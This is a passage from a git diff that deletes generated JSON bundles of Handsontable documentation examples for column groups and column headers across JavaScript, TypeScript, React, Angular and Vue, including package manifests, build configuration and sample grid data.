    \n \n\n","/src/main.tsx":"import React from \"react\";\nimport { createRoot } from \"react-dom/client\";\nimport App from \"./App\";\nconst root = createRoot(document.getElementById(\"example4\"));\nroot.render(React.createElement(App));","/src/App.tsx":"import { HotTable } from '@handsontable/react-wrapper';\nimport { registerAllModules } from 'handsontable/registry';\n\n// register Handsontable's modules\nregisterAllModules();\n\nconst ExampleComponent = () => {\n return (\n \n );\n};\n\nexport default ExampleComponent;"},"docsPath":"guides/columns/column-groups/react/example4.tsx","breadcrumb":["Columns","Column groups"],"guide":"guides/columns/column-groups/column-groups.md","guideTitle":"Column groups","exampleId":"example4","exampleTitle":"Keep a group cohesive or let it split","docPermalink":"/column-groups","lang":"React (TS)"} diff --git a/runner/apps/authoring/public/docs-examples/guides__columns__column-groups__vue__example4.vue.json b/runner/apps/authoring/public/docs-examples/guides__columns__column-groups__vue__example4.vue.json deleted file mode 100644 index db978052..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__columns__column-groups__vue__example4.vue.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"vue","displayName":"Columns ▸ Column groups · Keep a group cohesive or let it split · Vue 3","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"vue","htWrappers":["@handsontable/vue3"],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":"pnpm exec vite --host 0.0.0.0 --port 5173","buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":5173,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-vue-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"@handsontable/vue3\": \"18.0.0\",\n \"vue\": \"3.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-vue\": \"^5.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport vue from \"@vitejs/plugin-vue\";\n\nexport default defineConfig({ plugins: [vue()] });","/index.html":"\n\n\n \n \n Handsontable Vue Example\n \n\n\n
    \n \n\n","/src/main.ts":"import { createApp } from \"vue\";\nimport App from \"./App.vue\";\ncreateApp(App).mount(\"#example4\");","/src/App.vue":"\n\n"},"docsPath":"guides/columns/column-groups/vue/example4.vue","breadcrumb":["Columns","Column groups"],"guide":"guides/columns/column-groups/column-groups.md","guideTitle":"Column groups","exampleId":"example4","exampleTitle":"Keep a group cohesive or let it split","docPermalink":"/column-groups","lang":"Vue 3"} diff --git a/runner/apps/authoring/public/docs-examples/guides__columns__column-header__angular__example6.ts.json b/runner/apps/authoring/public/docs-examples/guides__columns__column-header__angular__example6.ts.json deleted file mode 100644 index 0ad2143b..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__columns__column-header__angular__example6.ts.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"angular","displayName":"Columns ▸ Column headers · Header labels in the columns option · Angular","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"angular","htWrappers":["@handsontable/angular-wrapper"],"entry":"/src/main.ts","htmlEntry":"/src/index.html","devCommand":"pnpm exec ng serve --host 0.0.0.0 --disable-host-check --port 3000","buildCommand":"ng build","outputDir":"dist","outputGlob":"dist/*/browser","staticExport":false,"spaMode":false,"port":3000,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":7,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-angular-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"scripts\": {\n \"ng\": \"ng\",\n \"start\": \"ng serve\",\n \"build\": \"ng build\"\n },\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"@handsontable/angular-wrapper\": \"18.0.0\",\n \"@angular/animations\": \"21.x\",\n \"@angular/common\": \"21.x\",\n \"@angular/compiler\": \"21.x\",\n \"@angular/core\": \"21.x\",\n \"@angular/forms\": \"21.x\",\n \"@angular/platform-browser\": \"21.x\",\n \"@angular/platform-browser-dynamic\": \"21.x\",\n \"@angular/router\": \"21.x\",\n \"rxjs\": \"~7.8.0\",\n \"tslib\": \"^2.3.0\",\n \"zone.js\": \"~0.15.0\",\n \"@angular-devkit/build-angular\": \"21.x\",\n \"@angular/cli\": \"21.x\",\n \"@angular/compiler-cli\": \"21.x\",\n \"typescript\": \"~5.9.0\"\n },\n \"devDependencies\": {}\n}","/angular.json":"{\n \"$schema\": \"./node_modules/@angular/cli/lib/config/schema.json\",\n \"version\": 1,\n \"newProjectRoot\": \"projects\",\n \"projects\": {\n \"app\": {\n \"projectType\": \"application\",\n \"root\": \"\",\n \"sourceRoot\": \"src\",\n \"prefix\": \"app\",\n \"architect\": {\n \"build\": {\n \"builder\": \"@angular-devkit/build-angular:application\",\n \"options\": {\n \"outputPath\": \"dist/app\",\n \"index\": \"src/index.html\",\n \"browser\": \"src/main.ts\",\n \"polyfills\": [\n \"zone.js\"\n ],\n \"tsConfig\": \"tsconfig.json\",\n \"assets\": [],\n \"styles\": [],\n \"scripts\": []\n },\n \"configurations\": {\n \"development\": {\n \"optimization\": false,\n \"sourceMap\": true\n }\n },\n \"defaultConfiguration\": \"development\"\n },\n \"serve\": {\n \"builder\": \"@angular-devkit/build-angular:dev-server\",\n \"configurations\": {\n \"development\": {\n \"buildTarget\": \"app:build:development\"\n }\n },\n \"defaultConfiguration\": \"development\"\n }\n }\n }\n }\n}","/tsconfig.json":"{\n \"compilerOptions\": {\n \"outDir\": \"./dist/out-tsc\",\n \"strict\": true,\n \"noImplicitOverride\": true,\n \"noPropertyAccessFromIndexSignature\": true,\n \"noImplicitReturns\": true,\n \"noFallthroughCasesInSwitch\": true,\n \"skipLibCheck\": true,\n \"esModuleInterop\": true,\n \"sourceMap\": true,\n \"declaration\": false,\n \"experimentalDecorators\": true,\n \"moduleResolution\": \"bundler\",\n \"importHelpers\": true,\n \"target\": \"ES2022\",\n \"module\": \"ES2022\",\n \"useDefineForClassFields\": false,\n \"lib\": [\n \"ES2022\",\n \"dom\"\n ]\n },\n \"angularCompilerOptions\": {\n \"enableI18nLegacyMessageIdFormat\": false,\n \"strictInjectionParameters\": true,\n \"strictInputAccessModifiers\": true,\n \"strictTemplates\": true\n }\n}","/src/index.html":"\n\n\n \n Handsontable Angular Example\n \n \n \n\n\n
    \n \n
    \n\n","/src/main.ts":"import { bootstrapApplication } from '@angular/platform-browser';\nimport { registerAllModules } from 'handsontable/registry';\nimport { AppComponent } from './app/app.component';\nimport { appConfig } from './app/app.config';\n\nregisterAllModules();\n\nbootstrapApplication(AppComponent, appConfig).catch(err => console.error(err));","/src/app/app.component.ts":"import { Component } from '@angular/core';\nimport { GridSettings, HotTableModule} from '@handsontable/angular-wrapper';\n\n@Component({\n selector: 'app-example6',\n template: `\n \n \n `,\n standalone: true,\n imports: [HotTableModule],\n})\nexport class AppComponent {\n\n readonly hotData = [\n [1, 'Ana García', 'Product Manager', 'Spain', '2022-03-14'],\n [2, 'James Okafor', 'Senior Engineer', 'Nigeria', '2021-07-02'],\n [3, 'Li Wei', 'Data Analyst', 'China', '2023-01-19'],\n [4, 'Sofia Rossi', 'UX Designer', 'Italy', '2020-11-30'],\n [5, 'Mateo Fernández', 'Engineering Lead', 'Argentina', '2019-05-08'],\n ];\n\n readonly hotSettings: GridSettings = {\n // Set each column header label with the `title` option inside `columns`.\n columns: [\n { title: 'ID' },\n { title: 'Full name' },\n { title: 'Position' },\n { title: 'Country' },\n { title: 'Start date' },\n ],\n rowHeaders: true,\n height: 'auto',\n autoWrapRow: true,\n autoWrapCol: true\n };\n}","/src/app/app.config.ts":"import { ApplicationConfig, provideZoneChangeDetection } from '@angular/core';\nimport { registerAllModules } from 'handsontable/registry';\nimport { HOT_GLOBAL_CONFIG, HotGlobalConfig, NON_COMMERCIAL_LICENSE } from '@handsontable/angular-wrapper';\n\n// register Handsontable's modules\nregisterAllModules();\n\nexport const appConfig: ApplicationConfig = {\n providers: [\n provideZoneChangeDetection({ eventCoalescing: true }),\n {\n provide: HOT_GLOBAL_CONFIG,\n useValue: { license: NON_COMMERCIAL_LICENSE } as HotGlobalConfig,\n },\n ],\n};"},"docsPath":"guides/columns/column-header/angular/example6.ts","breadcrumb":["Columns","Column headers"],"guide":"guides/columns/column-header/column-header.md","guideTitle":"Column headers","exampleId":"example6","exampleTitle":"Header labels in the columns option","docPermalink":"/column-header","lang":"Angular"} diff --git a/runner/apps/authoring/public/docs-examples/guides__columns__column-header__angular__example7.ts.json b/runner/apps/authoring/public/docs-examples/guides__columns__column-header__angular__example7.ts.json deleted file mode 100644 index 2410c5db..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__columns__column-header__angular__example7.ts.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"angular","displayName":"Columns ▸ Column headers · Column header height · Angular","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"angular","htWrappers":["@handsontable/angular-wrapper"],"entry":"/src/main.ts","htmlEntry":"/src/index.html","devCommand":"pnpm exec ng serve --host 0.0.0.0 --disable-host-check --port 3000","buildCommand":"ng build","outputDir":"dist","outputGlob":"dist/*/browser","staticExport":false,"spaMode":false,"port":3000,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":7,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-angular-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"scripts\": {\n \"ng\": \"ng\",\n \"start\": \"ng serve\",\n \"build\": \"ng build\"\n },\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"@handsontable/angular-wrapper\": \"18.0.0\",\n \"@angular/animations\": \"21.x\",\n \"@angular/common\": \"21.x\",\n \"@angular/compiler\": \"21.x\",\n \"@angular/core\": \"21.x\",\n \"@angular/forms\": \"21.x\",\n \"@angular/platform-browser\": \"21.x\",\n \"@angular/platform-browser-dynamic\": \"21.x\",\n \"@angular/router\": \"21.x\",\n \"rxjs\": \"~7.8.0\",\n \"tslib\": \"^2.3.0\",\n \"zone.js\": \"~0.15.0\",\n \"@angular-devkit/build-angular\": \"21.x\",\n \"@angular/cli\": \"21.x\",\n \"@angular/compiler-cli\": \"21.x\",\n \"typescript\": \"~5.9.0\"\n },\n \"devDependencies\": {}\n}","/angular.json":"{\n \"$schema\": \"./node_modules/@angular/cli/lib/config/schema.json\",\n \"version\": 1,\n \"newProjectRoot\": \"projects\",\n \"projects\": {\n \"app\": {\n \"projectType\": \"application\",\n \"root\": \"\",\n \"sourceRoot\": \"src\",\n \"prefix\": \"app\",\n \"architect\": {\n \"build\": {\n \"builder\": \"@angular-devkit/build-angular:application\",\n \"options\": {\n \"outputPath\": \"dist/app\",\n \"index\": \"src/index.html\",\n \"browser\": \"src/main.ts\",\n \"polyfills\": [\n \"zone.js\"\n ],\n \"tsConfig\": \"tsconfig.json\",\n \"assets\": [],\n \"styles\": [],\n \"scripts\": []\n },\n \"configurations\": {\n \"development\": {\n \"optimization\": false,\n \"sourceMap\": true\n }\n },\n \"defaultConfiguration\": \"development\"\n },\n \"serve\": {\n \"builder\": \"@angular-devkit/build-angular:dev-server\",\n \"configurations\": {\n \"development\": {\n \"buildTarget\": \"app:build:development\"\n }\n },\n \"defaultConfiguration\": \"development\"\n }\n }\n }\n }\n}","/tsconfig.json":"{\n \"compilerOptions\": {\n \"outDir\": \"./dist/out-tsc\",\n \"strict\": true,\n \"noImplicitOverride\": true,\n \"noPropertyAccessFromIndexSignature\": true,\n \"noImplicitReturns\": true,\n \"noFallthroughCasesInSwitch\": true,\n \"skipLibCheck\": true,\n \"esModuleInterop\": true,\n \"sourceMap\": true,\n \"declaration\": false,\n \"experimentalDecorators\": true,\n \"moduleResolution\": \"bundler\",\n \"importHelpers\": true,\n \"target\": \"ES2022\",\n \"module\": \"ES2022\",\n \"useDefineForClassFields\": false,\n \"lib\": [\n \"ES2022\",\n \"dom\"\n ]\n },\n \"angularCompilerOptions\": {\n \"enableI18nLegacyMessageIdFormat\": false,\n \"strictInjectionParameters\": true,\n \"strictInputAccessModifiers\": true,\n \"strictTemplates\": true\n }\n}","/src/index.html":"\n\n\n \n Handsontable Angular Example\n \n \n \n\n\n
    \n \n
    \n\n","/src/main.ts":"import { bootstrapApplication } from '@angular/platform-browser';\nimport { registerAllModules } from 'handsontable/registry';\nimport { AppComponent } from './app/app.component';\nimport { appConfig } from './app/app.config';\n\nregisterAllModules();\n\nbootstrapApplication(AppComponent, appConfig).catch(err => console.error(err));","/src/app/app.component.ts":"import { Component } from '@angular/core';\nimport { GridSettings, HotTableModule } from '@handsontable/angular-wrapper';\n\n@Component({\n selector: 'app-example7',\n template: `\n \n `,\n standalone: true,\n imports: [HotTableModule],\n})\nexport class AppComponent {\n readonly hotData = [\n [1, 'Ana Garcia', 'Product Manager', 'Spain', '2022-03-14'],\n [2, 'James Okafor', 'Senior Engineer', 'Nigeria', '2021-07-02'],\n [3, 'Li Wei', 'Data Analyst', 'China', '2023-01-19'],\n [4, 'Sofia Rossi', 'UX Designer', 'Italy', '2020-11-30'],\n [5, 'Mateo Fernandez', 'Engineering Lead', 'Argentina', '2019-05-08'],\n ];\n\n readonly hotSettings: GridSettings = {\n colHeaders: ['Employee ID', 'Employee full name', 'Current job title', 'Country of residence', 'Employment start date'],\n rowHeaders: true,\n colWidths: [100, 130, 130, 130, 130],\n columnHeaderHeight: 50,\n height: 'auto',\n autoWrapRow: true,\n autoWrapCol: true,\n };\n}","/src/app/app.config.ts":"import { ApplicationConfig, provideZoneChangeDetection } from '@angular/core';\nimport { registerAllModules } from 'handsontable/registry';\nimport { HOT_GLOBAL_CONFIG, HotGlobalConfig, NON_COMMERCIAL_LICENSE } from '@handsontable/angular-wrapper';\n\n// register Handsontable's modules\nregisterAllModules();\n\nexport const appConfig: ApplicationConfig = {\n providers: [\n provideZoneChangeDetection({ eventCoalescing: true }),\n {\n provide: HOT_GLOBAL_CONFIG,\n useValue: { license: NON_COMMERCIAL_LICENSE } as HotGlobalConfig,\n },\n ],\n};"},"docsPath":"guides/columns/column-header/angular/example7.ts","breadcrumb":["Columns","Column headers"],"guide":"guides/columns/column-header/column-header.md","guideTitle":"Column headers","exampleId":"example7","exampleTitle":"Column header height","docPermalink":"/column-header","lang":"Angular"} diff --git a/runner/apps/authoring/public/docs-examples/guides__columns__column-header__javascript__example6.js.json b/runner/apps/authoring/public/docs-examples/guides__columns__column-header__javascript__example6.js.json deleted file mode 100644 index 9630785b..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__columns__column-header__javascript__example6.js.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"javascript","displayName":"Columns ▸ Column headers · Header labels in the columns option · JavaScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.js","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"vite\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n \n\n","/index.js":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n// Register all Handsontable's modules.\nregisterAllModules();\nconst container = document.querySelector('#example6');\nnew Handsontable(container, {\n data: [\n [1, 'Ana García', 'Product Manager', 'Spain', '2022-03-14'],\n [2, 'James Okafor', 'Senior Engineer', 'Nigeria', '2021-07-02'],\n [3, 'Li Wei', 'Data Analyst', 'China', '2023-01-19'],\n [4, 'Sofia Rossi', 'UX Designer', 'Italy', '2020-11-30'],\n [5, 'Mateo Fernández', 'Engineering Lead', 'Argentina', '2019-05-08'],\n ],\n // Set each column header label with the `title` option inside `columns`.\n columns: [\n { title: 'ID' },\n { title: 'Full name' },\n { title: 'Position' },\n { title: 'Country' },\n { title: 'Start date' },\n ],\n rowHeaders: true,\n height: 'auto',\n autoWrapRow: true,\n autoWrapCol: true,\n licenseKey: 'non-commercial-and-evaluation',\n});","/src/main.js":"import \"../index.js\";"},"docsPath":"guides/columns/column-header/javascript/example6.js","breadcrumb":["Columns","Column headers"],"guide":"guides/columns/column-header/column-header.md","guideTitle":"Column headers","exampleId":"example6","exampleTitle":"Header labels in the columns option","docPermalink":"/column-header","lang":"JavaScript"} diff --git a/runner/apps/authoring/public/docs-examples/guides__columns__column-header__javascript__example6.ts.json b/runner/apps/authoring/public/docs-examples/guides__columns__column-header__javascript__example6.ts.json deleted file mode 100644 index 00de94b1..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__columns__column-header__javascript__example6.ts.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"typescript","displayName":"Columns ▸ Column headers · Header labels in the columns option · TypeScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla-ts","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"vite\": \"^5.4.0\",\n \"typescript\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n \n\n","/index.ts":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n\n// Register all Handsontable's modules.\nregisterAllModules();\n\nconst container = document.querySelector('#example6')!;\n\nnew Handsontable(container, {\n data: [\n [1, 'Ana García', 'Product Manager', 'Spain', '2022-03-14'],\n [2, 'James Okafor', 'Senior Engineer', 'Nigeria', '2021-07-02'],\n [3, 'Li Wei', 'Data Analyst', 'China', '2023-01-19'],\n [4, 'Sofia Rossi', 'UX Designer', 'Italy', '2020-11-30'],\n [5, 'Mateo Fernández', 'Engineering Lead', 'Argentina', '2019-05-08'],\n ],\n // Set each column header label with the `title` option inside `columns`.\n columns: [\n { title: 'ID' },\n { title: 'Full name' },\n { title: 'Position' },\n { title: 'Country' },\n { title: 'Start date' },\n ],\n rowHeaders: true,\n height: 'auto',\n autoWrapRow: true,\n autoWrapCol: true,\n licenseKey: 'non-commercial-and-evaluation',\n});","/src/main.ts":"import \"../index.ts\";"},"docsPath":"guides/columns/column-header/javascript/example6.ts","breadcrumb":["Columns","Column headers"],"guide":"guides/columns/column-header/column-header.md","guideTitle":"Column headers","exampleId":"example6","exampleTitle":"Header labels in the columns option","docPermalink":"/column-header","lang":"TypeScript"} diff --git a/runner/apps/authoring/public/docs-examples/guides__columns__column-header__javascript__example7.js.json b/runner/apps/authoring/public/docs-examples/guides__columns__column-header__javascript__example7.js.json deleted file mode 100644 index 4c10af7b..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__columns__column-header__javascript__example7.js.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"javascript","displayName":"Columns ▸ Column headers · Column header height · JavaScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.js","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"vite\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n \n\n","/index.js":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n// Register all Handsontable's modules.\nregisterAllModules();\nconst container = document.querySelector('#example7');\nnew Handsontable(container, {\n data: [\n [1, 'Ana Garcia', 'Product Manager', 'Spain', '2022-03-14'],\n [2, 'James Okafor', 'Senior Engineer', 'Nigeria', '2021-07-02'],\n [3, 'Li Wei', 'Data Analyst', 'China', '2023-01-19'],\n [4, 'Sofia Rossi', 'UX Designer', 'Italy', '2020-11-30'],\n [5, 'Mateo Fernandez', 'Engineering Lead', 'Argentina', '2019-05-08'],\n ],\n colHeaders: ['Employee ID', 'Employee full name', 'Current job title', 'Country of residence', 'Employment start date'],\n rowHeaders: true,\n colWidths: [100, 130, 130, 130, 130],\n columnHeaderHeight: 50,\n height: 'auto',\n autoWrapRow: true,\n autoWrapCol: true,\n licenseKey: 'non-commercial-and-evaluation',\n});","/src/main.js":"import \"../index.js\";"},"docsPath":"guides/columns/column-header/javascript/example7.js","breadcrumb":["Columns","Column headers"],"guide":"guides/columns/column-header/column-header.md","guideTitle":"Column headers","exampleId":"example7","exampleTitle":"Column header height","docPermalink":"/column-header","lang":"JavaScript"} diff --git a/runner/apps/authoring/public/docs-examples/guides__columns__column-header__javascript__example7.ts.json b/runner/apps/authoring/public/docs-examples/guides__columns__column-header__javascript__example7.ts.json deleted file mode 100644 index 6020472b..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__columns__column-header__javascript__example7.ts.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"typescript","displayName":"Columns ▸ Column headers · Column header height · TypeScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla-ts","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"vite\": \"^5.4.0\",\n \"typescript\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n \n\n","/index.ts":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n\n// Register all Handsontable's modules.\nregisterAllModules();\n\nconst container = document.querySelector('#example7')!;\n\nnew Handsontable(container, {\n data: [\n [1, 'Ana Garcia', 'Product Manager', 'Spain', '2022-03-14'],\n [2, 'James Okafor', 'Senior Engineer', 'Nigeria', '2021-07-02'],\n [3, 'Li Wei', 'Data Analyst', 'China', '2023-01-19'],\n [4, 'Sofia Rossi', 'UX Designer', 'Italy', '2020-11-30'],\n [5, 'Mateo Fernandez', 'Engineering Lead', 'Argentina', '2019-05-08'],\n ],\n colHeaders: ['Employee ID', 'Employee full name', 'Current job title', 'Country of residence', 'Employment start date'],\n rowHeaders: true,\n colWidths: [100, 130, 130, 130, 130],\n columnHeaderHeight: 50,\n height: 'auto',\n autoWrapRow: true,\n autoWrapCol: true,\n licenseKey: 'non-commercial-and-evaluation',\n});","/src/main.ts":"import \"../index.ts\";"},"docsPath":"guides/columns/column-header/javascript/example7.ts","breadcrumb":["Columns","Column headers"],"guide":"guides/columns/column-header/column-header.md","guideTitle":"Column headers","exampleId":"example7","exampleTitle":"Column header height","docPermalink":"/column-header","lang":"TypeScript"} diff --git a/runner/apps/authoring/public/docs-examples/guides__columns__column-header__react__example6.tsx.json b/runner/apps/authoring/public/docs-examples/guides__columns__column-header__react__example6.tsx.json deleted file mode 100644 index 685c7b93..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__columns__column-header__react__example6.tsx.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"react","displayName":"Columns ▸ Column headers · Header labels in the columns option · React (TS)","tier":1,"engine":"sandpack","sandpackTemplate":"react-ts","sandpackEnvironment":"create-react-app-typescript","container":null,"htWrappers":["@handsontable/react-wrapper"],"entry":"/src/main.tsx","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-react-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"@handsontable/react-wrapper\": \"18.0.0\",\n \"react\": \"18.x\",\n \"react-dom\": \"18.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-react\": \"^4.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport react from \"@vitejs/plugin-react\";\n\nexport default defineConfig({ plugins: [react()] });","/index.html":"\n\n\n \n \n Handsontable React Example\n \n \n\n\n
    \n \n\n","/src/main.tsx":"import React from \"react\";\nimport { createRoot } from \"react-dom/client\";\nimport App from \"./App\";\nconst root = createRoot(document.getElementById(\"example6\"));\nroot.render(React.createElement(App));","/src/App.tsx":"import { HotTable } from '@handsontable/react-wrapper';\nimport { registerAllModules } from 'handsontable/registry';\n\n// register Handsontable's modules\nregisterAllModules();\n\nconst ExampleComponent = () => {\n return (\n \n );\n};\n\nexport default ExampleComponent;"},"docsPath":"guides/columns/column-header/react/example6.tsx","breadcrumb":["Columns","Column headers"],"guide":"guides/columns/column-header/column-header.md","guideTitle":"Column headers","exampleId":"example6","exampleTitle":"Header labels in the columns option","docPermalink":"/column-header","lang":"React (TS)"} diff --git a/runner/apps/authoring/public/docs-examples/guides__columns__column-header__react__example7.tsx.json b/runner/apps/authoring/public/docs-examples/guides__columns__column-header__react__example7.tsx.json deleted file mode 100644 index 74621370..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__columns__column-header__react__example7.tsx.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"react","displayName":"Columns ▸ Column headers · Column header height · React (TS)","tier":1,"engine":"sandpack","sandpackTemplate":"react-ts","sandpackEnvironment":"create-react-app-typescript","container":null,"htWrappers":["@handsontable/react-wrapper"],"entry":"/src/main.tsx","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-react-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"@handsontable/react-wrapper\": \"18.0.0\",\n \"react\": \"18.x\",\n \"react-dom\": \"18.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-react\": \"^4.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport react from \"@vitejs/plugin-react\";\n\nexport default defineConfig({ plugins: [react()] });","/index.html":"\n\n\n \n \n Handsontable React Example\n \n \n\n\n
    \n \n\n","/src/main.tsx":"import React from \"react\";\nimport { createRoot } from \"react-dom/client\";\nimport App from \"./App\";\nconst root = createRoot(document.getElementById(\"example7\"));\nroot.render(React.createElement(App));","/src/App.tsx":"import { HotTable } from '@handsontable/react-wrapper';\nimport { registerAllModules } from 'handsontable/registry';\n\n// register Handsontable's modules\nregisterAllModules();\n\nconst ExampleComponent = () => {\n return (\n \n );\n};\n\nexport default ExampleComponent;"},"docsPath":"guides/columns/column-header/react/example7.tsx","breadcrumb":["Columns","Column headers"],"guide":"guides/columns/column-header/column-header.md","guideTitle":"Column headers","exampleId":"example7","exampleTitle":"Column header height","docPermalink":"/column-header","lang":"React (TS)"} diff --git a/runner/apps/authoring/public/docs-examples/guides__columns__column-header__vue__example6.vue.json b/runner/apps/authoring/public/docs-examples/guides__columns__column-header__vue__example6.vue.json deleted file mode 100644 index e8ce11dc..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__columns__column-header__vue__example6.vue.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"vue","displayName":"Columns ▸ Column headers · Header labels in the columns option · Vue 3","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"vue","htWrappers":["@handsontable/vue3"],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":"pnpm exec vite --host 0.0.0.0 --port 5173","buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":5173,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-vue-example\",\n 